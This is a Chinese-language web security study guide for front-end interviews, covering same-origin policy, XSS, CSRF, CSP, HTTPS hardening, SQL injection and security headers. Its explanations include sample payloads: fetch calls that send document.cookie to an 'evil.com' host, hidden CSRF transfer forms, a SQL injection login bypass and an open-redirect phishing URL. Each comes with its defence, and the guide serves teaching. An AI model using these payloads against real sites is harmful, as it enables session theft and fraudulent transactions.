Skip to content

Web 安全

同源策略(Same-Origin Policy)

定义

同源策略是浏览器最基本的安全机制——限制一个源的文档或脚本与另一个源的资源进行交互

同源的定义:协议(Protocol)+ 域名(Host)+ 端口(Port)三者完全相同

https://example.com/page
  ├─ https://example.com/other         ✅ 同源
  ├─ http://example.com/page           ❌ 协议不同(https vs http)
  ├─ https://api.example.com/page      ❌ 域名不同(子域名也算不同源)
  ├─ https://example.com:8080/page     ❌ 端口不同(443 vs 8080)
  └─ https://example.com:443/page      ✅ 同源(443 是 HTTPS 默认端口)

限制范围

同源策略限制的行为:

DOM 访问:
  ❌ 跨域 iframe 的 DOM 不可读写
  ❌ window.open 打开的跨域窗口 DOM 不可读写

数据存储:
  ❌ 跨域不可读取 Cookie / LocalStorage / IndexedDB

网络请求:
  ❌ XMLHttpRequest / fetch 跨域请求的响应被拦截(请求会发出,但 JS 读不到响应)

不受限制的行为:
  ✅ <script src="...">  加载并执行跨域脚本
  ✅ <link href="...">   加载跨域样式表
  ✅ <img src="...">     加载跨域图片
  ✅ <video> / <audio>   加载跨域媒体
  ✅ <iframe src="...">  嵌入跨域页面(但不能读取其 DOM)
  ✅ <form action="..."> 提交到跨域地址

突破同源策略的方式

方式                 适用场景                    原理
──────              ────────                   ─────
CORS                前后端分离 API 调用          服务器通过响应头授权跨域访问
JSONP               兼容老浏览器的 GET 请求      利用 <script> 标签不受同源限制
postMessage         跨域 iframe / 窗口通信       HTML5 提供的安全通信 API
document.domain     同父域的子域间通信           将子域的 domain 设为共同父域
WebSocket           实时双向通信                 协议本身不受同源限制
代理服务器           所有场景                     同源服务器转发请求(Nginx 反向代理)
js
// CORS —— 服务器设置响应头
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization

// JSONP —— 利用 <script> 回调
function handleData(data) { console.log(data); }
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleData';
document.body.appendChild(script);

// postMessage —— 跨窗口通信
// 发送方
targetWindow.postMessage({ type: 'greeting', payload: 'hello' }, 'https://other.com');

// 接收方
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted.com') return;
  console.log(event.data);
});

// document.domain —— 子域共享(已废弃,不推荐)
// a.example.com 和 b.example.com 都设置:
document.domain = 'example.com';

XSS(跨站脚本攻击)

XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到受信任的网页中,在用户浏览器中执行。

攻击流程

                          XSS 攻击全流程
                          
攻击者                    受害网站                   受害用户
  |                         |                          |
  |── 注入恶意脚本 ───────→ |                          |
  |   (评论/URL参数/DOM)    |                          |
  |                         |                          |
  |                         |←── 正常访问页面 ─────────|
  |                         |                          |
  |                         |── 返回含恶意脚本的页面 ──→|
  |                         |                          |
  |                         |              浏览器执行恶意脚本
  |                         |              ├─ 窃取 Cookie/Token
  |                         |              ├─ 键盘记录
  |                         |              ├─ 篡改页面内容
  |                         |              └─ 发起伪造请求
  |                         |                          |
  |←──── 敏感数据被发送到攻击者服务器 ─────────────────|

三种 XSS 类型

1. 存储型 XSS(Stored XSS)

恶意脚本被持久化存储在服务器(数据库),所有访问该页面的用户都会受害:

攻击者                  服务器数据库                 受害用户
  |                        |                          |
  |── POST /comment ──→    |                          |
  |   body: <script>       |                          |
  |   document.cookie      |                          |
  |   </script>            |                          |
  |                        |                          |
  |   恶意内容存入数据库 ──→ |                          |
  |                        |                          |
  |                        |←── GET /comments ────────|
  |                        |── 返回包含恶意脚本的内容 ─→|
  |                        |                          |
  |                        |              浏览器执行 <script>
  |←────────── Cookie 发送到攻击者 ───────────────────|
html
<!-- 攻击者在评论框提交 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

<!-- 其他用户访问评论页面时,浏览器渲染 -->
<div class="comment">
  <script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
  </script>
</div>
<!-- 脚本自动执行,Cookie 被盗 -->

2. 反射型 XSS(Reflected XSS)

恶意脚本通过 URL 参数传入,服务器将参数未经转义直接拼入 HTML 返回:

html
<!-- 攻击者构造恶意 URL 并诱导用户点击 -->
https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

<!-- 服务器端模板未转义 -->
<h2>搜索结果:${req.query.q}</h2>

<!-- 渲染为 -->
<h2>搜索结果:<script>fetch('https://evil.com/steal?c='+document.cookie)</script></h2>

3. DOM 型 XSS(DOM-based XSS)

恶意脚本完全在客户端执行,不经过服务器。攻击通过操纵 DOM API 实现:

js
// 漏洞代码:直接将 URL 参数插入 DOM
const query = new URLSearchParams(location.search).get('q');
document.getElementById('output').innerHTML = query;

// 攻击者构造 URL
// https://example.com/page?q=<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

// 浏览器将恶意 HTML 插入 DOM,onerror 回调触发攻击

三种 XSS 对比

                  存储型               反射型               DOM 型
                  ──────              ──────               ──────
恶意脚本存储位置   服务器数据库          URL 参数             URL 参数/片段
是否经过服务器     ✅ 存储+返回          ✅ 即时返回           ❌ 纯客户端
触发方式          访问含恶意内容的页面   点击恶意链接          点击恶意链接
影响范围          所有访问该页面的用户   点击链接的用户        点击链接的用户
危害程度          ⭐⭐⭐ 最高            ⭐⭐ 中等              ⭐⭐ 中等
典型场景          评论区/论坛/留言板     搜索页/错误页         SPA 前端路由

XSS 防御措施

1. 输出编码(Output Encoding)

根据输出上下文选择不同的编码方式:

上下文              编码方式                     示例
──────            ────────                     ─────
HTML 正文          HTML Entity 编码             < → &lt;  > → &gt;  & → &amp;
HTML 属性          HTML Entity 编码 + 引号包裹   " → &quot;  ' → &#x27;
JavaScript         JS Unicode 转义              ' → \u0027  " → \u0022
URL 参数           URL 编码                     < → %3C  > → %3E
CSS                CSS 转义                     ( → \28  ) → \29
js
function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

const userInput = '<script>alert("xss")</script>';
element.innerHTML = escapeHTML(userInput);
// 渲染为文本而非可执行脚本

2. CSP(Content Security Policy)

通过 HTTP 响应头限制页面可执行的脚本来源(详见后文 CSP 章节):

Content-Security-Policy: script-src 'self' https://cdn.example.com
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax

HttpOnly → JS 无法通过 document.cookie 读取
          → 即使 XSS 成功,也窃取不到 Cookie
Secure   → 仅通过 HTTPS 传输

4. DOMPurify(富文本净化)

js
import DOMPurify from 'dompurify';

const dirty = '<img src=x onerror=alert(1)><b>Bold</b><script>evil()</script>';
const clean = DOMPurify.sanitize(dirty);
// 结果: <b>Bold</b>
// <script> 和 onerror 被移除,安全的 <b> 标签保留

5. 避免危险的 DOM API

危险 API(直接解析 HTML)          安全替代方案
──────────────────────          ──────────
element.innerHTML = userInput    element.textContent = userInput
document.write(userInput)        避免使用 document.write
v-html / dangerouslySetInnerHTML 配合 DOMPurify 使用
eval(userInput)                  杜绝使用 eval

CSRF(跨站请求伪造)

CSRF(Cross-Site Request Forgery)利用用户已登录的身份,在用户不知情的情况下,以用户名义发送恶意请求

攻击流程

                           CSRF 攻击全流程

受害用户                   银行网站(bank.com)            恶意网站(evil.com)
  |                            |                              |
  |── 1.正常登录 ─────────→    |                              |
  |                            |                              |
  |←─ 2.返回 Cookie ─────     |                              |
  |   Set-Cookie: session=xxx  |                              |
  |                            |                              |
  |── 3.访问恶意网站 ──────────────────────────────────────→   |
  |                            |                              |
  |←─ 4.返回恶意页面 ────────────────────────────────────     |
  |   <img src="bank.com/      |                              |
  |    transfer?to=hacker      |                              |
  |    &amount=10000">         |                              |
  |                            |                              |
  |── 5.浏览器自动携带 ──────→ |                              |
  |   bank.com 的 Cookie       |                              |
  |   发起转账请求              |                              |
  |                            |                              |
  |   6.服务器验证 Cookie 有效  |                              |
  |      执行转账 ✅            |                              |
  |                            |                              |
  |   用户完全不知情!          |                              |

攻击示例

html
<!-- 恶意网站 evil.com 的页面 -->

<!-- 方式 1:自动发起 GET 请求(图片标签) -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">

<!-- 方式 2:自动提交 POST 表单 -->
<form action="https://bank.com/transfer" method="POST" id="hack-form">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('hack-form').submit();</script>

<!-- 方式 3:利用 <a> 标签诱导点击 -->
<a href="https://bank.com/transfer?to=hacker&amount=10000">
  恭喜中奖!点击领取 →
</a>

CSRF 的核心条件

CSRF 攻击成功的前提:
1. 用户已登录目标网站(浏览器保存了有效 Cookie)
2. 目标网站仅依赖 Cookie 验证身份
3. 攻击者能预测请求的所有参数(没有不可预测的 Token)
4. 浏览器会自动在跨站请求中携带 Cookie

核心理解:
CSRF 不需要窃取 Cookie —— 它利用的是浏览器"自动携带 Cookie"的机制
攻击者无法读取响应 —— 但对于转账、改密码这类操作,不需要读取响应

CSRF 防御措施

Set-Cookie: session=xxx; SameSite=Lax; Secure; HttpOnly

SameSite=Strict  完全禁止跨站携带 → 最安全,但影响正常跳转体验
SameSite=Lax     只允许顶级导航 GET 携带 → 默认值,阻止了 POST/img/iframe 等 CSRF
SameSite=None    允许所有跨站携带 → 需配合 Secure,用于第三方场景

Chrome 80+ 默认 SameSite=Lax:
  → <img src="bank.com/transfer">       ❌ 不携带 Cookie
  → <form method="POST" action="bank">  ❌ 不携带 Cookie
  → <a href="bank.com">点击</a>          ✅ 携带 Cookie(顶级导航 GET)

2. CSRF Token

原理:服务器生成一个不可预测的 Token,嵌入表单或请求头,
      攻击者无法获取此 Token,因此无法构造有效请求。

流程:
1. 用户访问页面 → 服务器生成随机 Token 存入 Session
2. Token 嵌入表单隐藏字段 或 放入 meta 标签
3. 用户提交请求 → 携带 Token
4. 服务器验证 Token 是否匹配 Session 中的值
html
<!-- 服务器渲染的表单 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="a8f3b2e1-随机Token">
  <input type="text" name="to">
  <input type="number" name="amount">
  <button type="submit">转账</button>
</form>
js
// SPA 中通过 meta 标签获取 Token
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken,
  },
  body: JSON.stringify({ to: 'friend', amount: 100 }),
});

3. Referer / Origin 检查

服务器检查请求头中的来源:

Origin: https://bank.com        ← 只有协议+域名,POST/PUT/DELETE 等请求携带
Referer: https://bank.com/page  ← 完整 URL(可能因隐私策略被裁剪或省略)

服务器端验证:
if (request.headers.origin !== 'https://bank.com') {
  return 403 Forbidden;
}

局限性:
  - Referer 可能被浏览器隐私策略省略(Referrer-Policy: no-referrer)
  - 某些场景没有 Origin 头(如从 HTTPS 页面到 HTTP 页面)
  - 建议作为辅助手段,不作为唯一防御
原理:
攻击者可以利用浏览器自动携带 Cookie,
但攻击者无法读取目标站点的 Cookie 值。

流程:
1. 服务器设置一个随机 Cookie:Set-Cookie: csrf=random123
2. 前端 JS 读取该 Cookie,放入请求头或请求体
3. 服务器比较 Cookie 中的值和请求中的值是否一致

为什么有效:
  - 浏览器会自动携带 Cookie  → Cookie 中有 csrf=random123
  - 攻击者页面无法读取 bank.com 的 Cookie(同源策略)
  - 攻击者无法在请求体/请求头中放入正确的 csrf 值
  - 服务器发现 Cookie 中的值 ≠ 请求体中的值 → 拒绝

CSRF 防御方案对比

方案              安全性    实现复杂度    适用场景
──────           ──────   ──────────   ─────────
SameSite Cookie  ⭐⭐⭐     低           现代浏览器,首选方案
CSRF Token       ⭐⭐⭐     中           传统 MPA,服务端渲染
双重 Cookie      ⭐⭐       中           无 Session 的 SPA
Referer 检查     ⭐⭐       低           辅助方案,不可单独使用

CSP(内容安全策略)

CSP(Content Security Policy)通过 HTTP 响应头 声明页面允许加载的资源来源,从根本上防御 XSS:

核心思想:
  白名单机制 —— 只有声明允许的来源才能加载/执行
  即使攻击者成功注入了 <script>,如果来源不在白名单中,浏览器拒绝执行

指令详解

Content-Security-Policy: <指令> <来源列表>; <指令> <来源列表>; ...

核心指令:
──────────────────────────────────────────────────────────────────
default-src    默认策略(其他指令未指定时的 fallback)
script-src     JavaScript 来源
style-src      CSS 来源
img-src        图片来源
connect-src    XHR / fetch / WebSocket 连接目标
font-src       字体文件来源
media-src      音视频来源
frame-src      iframe 来源
object-src     <object> / <embed> / <applet> 来源
base-uri       <base> 标签的 href 限制
form-action    <form> 的 action 提交目标
frame-ancestors  谁可以用 iframe 嵌入本页面(替代 X-Frame-Options)

来源关键字:
──────────────────────────────────────────────────────────────────
'self'           同源
'none'           禁止所有来源
'unsafe-inline'  允许内联脚本/样式(不推荐,削弱 CSP 防护)
'unsafe-eval'    允许 eval()(不推荐)
'strict-dynamic' 信任的脚本可以加载其他脚本(用于复杂 SPA)
https:           所有 HTTPS 来源
data:            data: URI
blob:            blob: URI
*.example.com    通配符域名

nonce 方式

每次页面请求生成一个随机 nonce(一次性随机数),
只有携带正确 nonce 的内联脚本才被允许执行:

响应头:
Content-Security-Policy: script-src 'nonce-abc123随机值'

HTML 中:
<script nonce="abc123随机值">
  // ✅ nonce 匹配,允许执行
  console.log('合法脚本');
</script>

<script>
  // ❌ 没有 nonce,拒绝执行
  alert('被注入的恶意脚本');
</script>

关键:nonce 每次请求都不同,攻击者无法预测

hash 方式

对内联脚本内容取哈希,只有哈希匹配的脚本才被执行:

响应头:
Content-Security-Policy: script-src 'sha256-BASE64_HASH'

HTML 中:
<script>console.log('已知的合法脚本')</script>
  → 浏览器计算该脚本内容的 SHA-256,与策略中的 hash 比较
  → 匹配则执行,不匹配则拒绝

适用场景:脚本内容固定不变(如内联的初始化代码)

report-uri / report-to 报告

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Report-Only 模式:
  不阻止违规行为,只上报 → 用于灰度测试 CSP 策略

违规时浏览器自动 POST 报告:
POST /csp-report
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/malware.js",
    "original-policy": "default-src 'self'; report-uri /csp-report"
  }
}

推荐流程:
1. 先用 Report-Only 收集违规报告
2. 根据报告调整策略(放行合法来源)
3. 确认无误后切换为强制模式(Content-Security-Policy)

严格 CSP 配置示例

基于 nonce 的严格配置(推荐):
──────────────────────────
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'nonce-{random}';
  img-src 'self' https://cdn.example.com data:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  report-uri /csp-report;

各指令解读:
  default-src 'none'          → 默认禁止一切
  script-src 'nonce-{random}' → 只执行带正确 nonce 的脚本
  'strict-dynamic'            → 被信任的脚本可以动态加载其他脚本
  frame-ancestors 'none'      → 禁止被 iframe 嵌入(防点击劫持)
  base-uri 'self'             → 防止 <base> 标签劫持
  form-action 'self'          → 表单只能提交到同源

HTTPS 安全加固

HTTPS/TLS 的基础原理(握手流程、证书验证等)已在 http.md 中详述,本节聚焦安全加固相关内容。

HSTS(HTTP Strict Transport Security)

问题:用户首次访问可能使用 HTTP,存在被中间人劫持的窗口

  用户输入 example.com

  浏览器请求 http://example.com

  中间人劫持(SSL 剥离攻击)← 危险!

  用户以为在用 HTTPS,实际是 HTTP

HSTS 解决方案:
  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

  max-age=31536000       浏览器在一年内自动将 HTTP 升级为 HTTPS
  includeSubDomains      所有子域名也强制 HTTPS
  preload                申请加入浏览器预加载列表(首次访问也受保护)

HSTS Preload List:
  浏览器内置的 HSTS 域名列表,收录后即使用户从未访问过也强制 HTTPS
  申请地址:https://hstspreload.org

证书钉扎(Certificate Pinning)

问题:如果 CA 被入侵,攻击者可以签发伪造证书

证书钉扎:将服务器证书的公钥哈希固定在客户端
  → 即使攻击者有 CA 签发的伪造证书,公钥哈希不匹配也会被拒绝

HTTP 方式(已废弃):
  Public-Key-Pins: pin-sha256="base64=="; max-age=5184000
  → 配置错误会导致网站无法访问,风险太高

现代替代方案:
  Certificate Transparency (CT)
    → CA 签发的所有证书必须记录在公开的 CT 日志中
    → 浏览器验证证书是否在 CT 日志中
    → 任何人都可以监控日志发现可疑证书

  Expect-CT: max-age=86400, enforce, report-uri="https://example.com/ct-report"
    → 要求证书必须有 CT 证明

混合内容(Mixed Content)

问题:HTTPS 页面加载 HTTP 资源

主动混合内容(Active Mixed Content)—— 默认阻止:
  ❌ <script src="http://...">
  ❌ <link href="http://...">(CSS)
  ❌ <iframe src="http://...">
  ❌ fetch('http://...')
  → 能执行代码或影响页面安全性的资源

被动混合内容(Passive Mixed Content)—— 警告但允许:
  ⚠️ <img src="http://...">
  ⚠️ <video src="http://...">
  ⚠️ <audio src="http://...">
  → 不能执行代码,但可能被篡改内容

解决方案:
  1. 所有资源使用 HTTPS
  2. 使用协议相对 URL://cdn.example.com/script.js
  3. CSP 升级指令:
     Content-Security-Policy: upgrade-insecure-requests
     → 自动将页面中所有 HTTP 请求升级为 HTTPS

其他安全议题

点击劫持(Clickjacking)

攻击原理:
  攻击者将目标网站用透明 iframe 嵌入恶意页面,
  用户以为在点击恶意页面的按钮,实际点击的是透明 iframe 中的操作。

恶意页面
┌──────────────────────────────────┐
│                                  │
│   "点击领取 iPhone 16 Pro Max"    │  ← 用户看到的按钮
│   ┌──────────────────────────┐   │
│   │  透明 iframe (opacity:0) │   │
│   │  ┌────────────────────┐  │   │
│   │  │  [确认转账 ¥10000] │  │   │  ← 实际点击的按钮
│   │  └────────────────────┘  │   │
│   └──────────────────────────┘   │
│                                  │
└──────────────────────────────────┘

防御:
方案 1:X-Frame-Options 响应头

X-Frame-Options: DENY           完全禁止被 iframe 嵌入
X-Frame-Options: SAMEORIGIN     只允许同源页面嵌入

方案 2:CSP frame-ancestors(推荐,更灵活)

Content-Security-Policy: frame-ancestors 'none'          等同 DENY
Content-Security-Policy: frame-ancestors 'self'          等同 SAMEORIGIN
Content-Security-Policy: frame-ancestors https://trusted.com  指定允许的源

方案 3:JS 防御(兜底)
js
if (window.top !== window.self) {
  window.top.location = window.self.location;
}

SQL 注入

攻击原理:
  用户输入被直接拼接到 SQL 语句中,攻击者可以构造恶意输入来操纵数据库。

  用户名输入:admin' OR '1'='1' --
  
  拼接后的 SQL:
  SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = '...'
                                       ↑ 条件永真         ↑ 后面被注释掉
  → 绕过密码验证,返回所有用户数据
js
// ❌ 字符串拼接 SQL(严重漏洞)
const query = `SELECT * FROM users WHERE username = '${username}'`;

// ✅ 参数化查询(Parameterized Query)
const query = 'SELECT * FROM users WHERE username = ?';
db.execute(query, [username]);

// ✅ 使用 ORM(如 Prisma / Sequelize)
const user = await prisma.user.findUnique({
  where: { username },
});

开放重定向(Open Redirect)

攻击原理:
  网站提供重定向功能,攻击者利用此功能将用户重定向到恶意网站。

  正常:https://example.com/login?redirect=/dashboard
  恶意:https://example.com/login?redirect=https://evil.com/phishing

  用户看到的是 example.com 的域名,放心点击
  → 登录后被跳转到钓鱼网站
js
// ❌ 未验证重定向 URL
app.get('/redirect', (req, res) => {
  res.redirect(req.query.url);
});

// ✅ 白名单验证
const ALLOWED_HOSTS = ['example.com', 'app.example.com'];
app.get('/redirect', (req, res) => {
  const url = new URL(req.query.url, 'https://example.com');
  if (!ALLOWED_HOSTS.includes(url.hostname)) {
    return res.status(400).send('非法重定向');
  }
  res.redirect(url.toString());
});

// ✅ 只允许相对路径
app.get('/redirect', (req, res) => {
  const path = req.query.path;
  if (path.startsWith('/') && !path.startsWith('//')) {
    return res.redirect(path);
  }
  res.redirect('/');
});

依赖安全

前端项目依赖大量 npm 包,任何一个包被投毒都可能导致安全问题:

事件                                    影响
──────                                 ─────
event-stream 事件 (2018)                恶意代码窃取比特币钱包
ua-parser-js 被劫持 (2021)              植入挖矿和密码窃取代码
colors.js 自毁 (2022)                   作者故意破坏包功能

防护工具:
bash
# npm 内置审计
npm audit
npm audit fix

# 使用 Snyk 扫描
npx snyk test
npx snyk monitor

# 锁定依赖版本
# package-lock.json / yarn.lock / pnpm-lock.yaml 必须提交到版本控制

# CI/CD 中集成安全扫描
# GitHub Dependabot / GitLab Dependency Scanning
最佳实践:
  1. 定期运行 npm audit,及时修复已知漏洞
  2. 使用 lock 文件锁定依赖版本
  3. 在 CI/CD 中集成依赖安全扫描
  4. 审慎添加新依赖——检查维护者、下载量、最后更新时间
  5. 使用 npm provenance 验证包的构建来源

Subresource Integrity(SRI)

问题:从 CDN 加载的脚本可能被篡改(CDN 被入侵或劫持)

SRI 解决方案:在 <script> / <link> 上指定资源的哈希值,
              浏览器下载后比对哈希,不匹配则拒绝执行。
html
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>

<link
  rel="stylesheet"
  href="https://cdn.example.com/style.css"
  integrity="sha256-abcdef123456..."
  crossorigin="anonymous">
bash
# 生成 SRI 哈希
openssl dgst -sha384 -binary lib.js | openssl base64 -A
# 或使用 https://www.srihash.org/

安全响应头完整清单

响应头推荐配置作用
Content-Security-Policydefault-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self' 'nonce-{random}'; img-src 'self' data: https:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'XSS 防御核心,白名单控制资源加载
Strict-Transport-Securitymax-age=31536000; includeSubDomains; preload强制 HTTPS,防止 SSL 剥离
X-Content-Type-Optionsnosniff禁止浏览器 MIME 嗅探,防止将非脚本文件当作脚本执行
X-Frame-OptionsDENYSAMEORIGIN防止点击劫持(被 CSP frame-ancestors 取代)
X-XSS-Protection0关闭浏览器内置 XSS 过滤器(已废弃,可能引入漏洞,用 CSP 替代)
Referrer-Policystrict-origin-when-cross-origin控制 Referer 头泄露程度,保护用户隐私
Permissions-Policycamera=(), microphone=(), geolocation=()控制浏览器功能的使用权限(摄像头/麦克风/定位等)
Cross-Origin-Opener-Policysame-origin隔离浏览上下文,防止跨窗口攻击
Cross-Origin-Embedder-Policyrequire-corp要求所有跨域资源显式授权,开启 SharedArrayBuffer 等高级 API
Cross-Origin-Resource-Policysame-origin防止资源被其他源嵌入
Cache-Control敏感页面:no-store;静态资源:max-age=31536000, immutable防止敏感信息被缓存
Nginx 安全头配置示例:

add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;

面试高频题

1. XSS 有哪几种类型?分别怎么防御?

XSS 分为三种:①存储型——恶意脚本存入服务器数据库(如评论区),所有访问该页面的用户都会触发,危害最大;②反射型——恶意脚本通过 URL 参数传入,服务器未转义直接拼入 HTML 返回,需诱导用户点击特定链接;③DOM 型——完全在客户端发生,JS 将 URL 参数通过 innerHTML 等危险 API 插入 DOM,不经过服务器。防御措施的核心是"不信任任何用户输入":①输出编码——根据上下文(HTML/JS/URL/CSS)对用户输入做相应转义;②CSP——设置 script-src 白名单,即使注入了 <script> 也不会执行;③HttpOnly Cookie——document.cookie 不可读,即使 XSS 成功也窃取不到会话 Cookie;④对富文本使用 DOMPurify 净化;⑤避免 innerHTMLevaldocument.write 等危险 API,用 textContent 替代。

2. CSRF 的攻击原理是什么?和 XSS 有什么区别?

CSRF 利用浏览器"自动携带 Cookie"的机制——用户登录了银行网站后,浏览器保存了 Session Cookie;攻击者在恶意网站放一个 <img src="bank.com/transfer?to=hacker&amount=10000">,用户访问恶意网站时浏览器自动对 bank.com 发请求并携带 Cookie,服务器验证 Cookie 有效后执行了转账。攻击者不需要窃取 Cookie,也读不到响应,只需要"借用"用户的身份发请求。XSS vs CSRF 的核心区别:XSS 是在目标网站中执行恶意脚本(信任了不该信任的输入),可以做任何事;CSRF 是利用用户身份发起伪造请求(信任了不该信任的请求来源),只能发请求不能读响应。XSS 的危害更广,且 XSS 可以绕过几乎所有 CSRF 防御(因为 XSS 能读取 Token 和 Cookie)。

3. CSP 是如何防御 XSS 的?nonce 和 hash 方式有什么区别?

CSP 通过白名单机制限制页面可以加载和执行的资源来源。设置 script-src 'self' 后,只有同源的脚本可以执行,攻击者注入的内联 <script> 或外部恶意脚本都会被浏览器拒绝。nonce 方式:服务器每次请求生成一个随机 nonce 值放入响应头(script-src 'nonce-abc123'),只有 HTML 中标注了相同 nonce 的 <script nonce="abc123"> 才会执行,攻击者无法预测 nonce 值。hash 方式:对已知的内联脚本内容计算 SHA 哈希放入策略(script-src 'sha256-xxx'),浏览器对内联脚本算哈希并比对。区别在于:nonce 适合动态内容(每次请求不同),hash 适合固定不变的内联脚本;nonce 需要服务端每次生成并注入,hash 只需一次性计算。实践中推荐 nonce + strict-dynamic,兼顾安全性和灵活性。

4. 同源策略限制了哪些行为?有哪些合法的跨域方案?

同源策略限制三类行为:①DOM 访问——不能读写跨域 iframe/窗口的 DOM;②数据存储——不能读取跨域的 Cookie、LocalStorage、IndexedDB;③网络请求——跨域 XHR/fetch 的响应会被浏览器拦截(请求本身会发出)。但有些操作不受限制:<script><img><link><iframe> 可以加载跨域资源(但 JS 不能读取其内容)。合法的跨域方案:①CORS——服务器通过 Access-Control-Allow-Origin 等响应头授权,最标准的方案;②JSONP——利用 <script> 不受同源限制,只支持 GET,有安全风险;③postMessage——HTML5 API,用于跨窗口/跨 iframe 安全通信;④代理服务器——Nginx 反向代理或 Node.js 中间层转发请求,前端请求同源代理,代理转发到目标服务器。

5. 如何防止点击劫持?X-Frame-Options 和 CSP frame-ancestors 有什么区别?

点击劫持是攻击者用透明 iframe 覆盖在诱导性按钮上,用户以为点击了"领奖",实际触发了 iframe 中的"转账确认"。防御方案:①X-Frame-Options: DENY——完全禁止被 iframe 嵌入;②X-Frame-Options: SAMEORIGIN——只允许同源页面嵌入;③CSP frame-ancestors——更灵活,可以指定允许嵌入的源(frame-ancestors 'self' https://trusted.com)。两者区别:X-Frame-Options 是老方案,只支持 DENYSAMEORIGIN,不能指定多个允许源;CSP frame-ancestors 是新标准,支持多个源、通配符,且优先级高于 X-Frame-Options。另外可以用 JS 做兜底检测(if (window.top !== window.self) top.location = self.location),但 JS 可能被攻击者通过 sandbox 属性禁用。推荐同时设置 X-Frame-OptionsCSP frame-ancestors 以兼容旧浏览器。


追问思考

  1. 如果一个页面同时存在 XSS 漏洞,那么 CSRF Token 防御还有效吗?为什么说"XSS 是 CSRF 的天敌"?
  2. SameSite=Lax 是 Chrome 的默认值,但这是否意味着所有 CSRF 攻击都被阻止了?哪些 CSRF 场景仍然有效?
  3. CSP 中的 'strict-dynamic' 解决了什么问题?为什么 Google 推荐 nonce + strict-dynamic 作为最佳实践?
  4. Cross-Origin-Opener-PolicyCross-Origin-Embedder-Policy 分别解决什么安全问题?为什么启用 SharedArrayBuffer 需要这两个头?
  5. 在 SPA(如 React/Vue)应用中,XSS 防御和传统 MPA 有什么不同?框架层面做了哪些自动防护,还有哪些需要开发者注意的坑?

用心学习,用代码说话 💻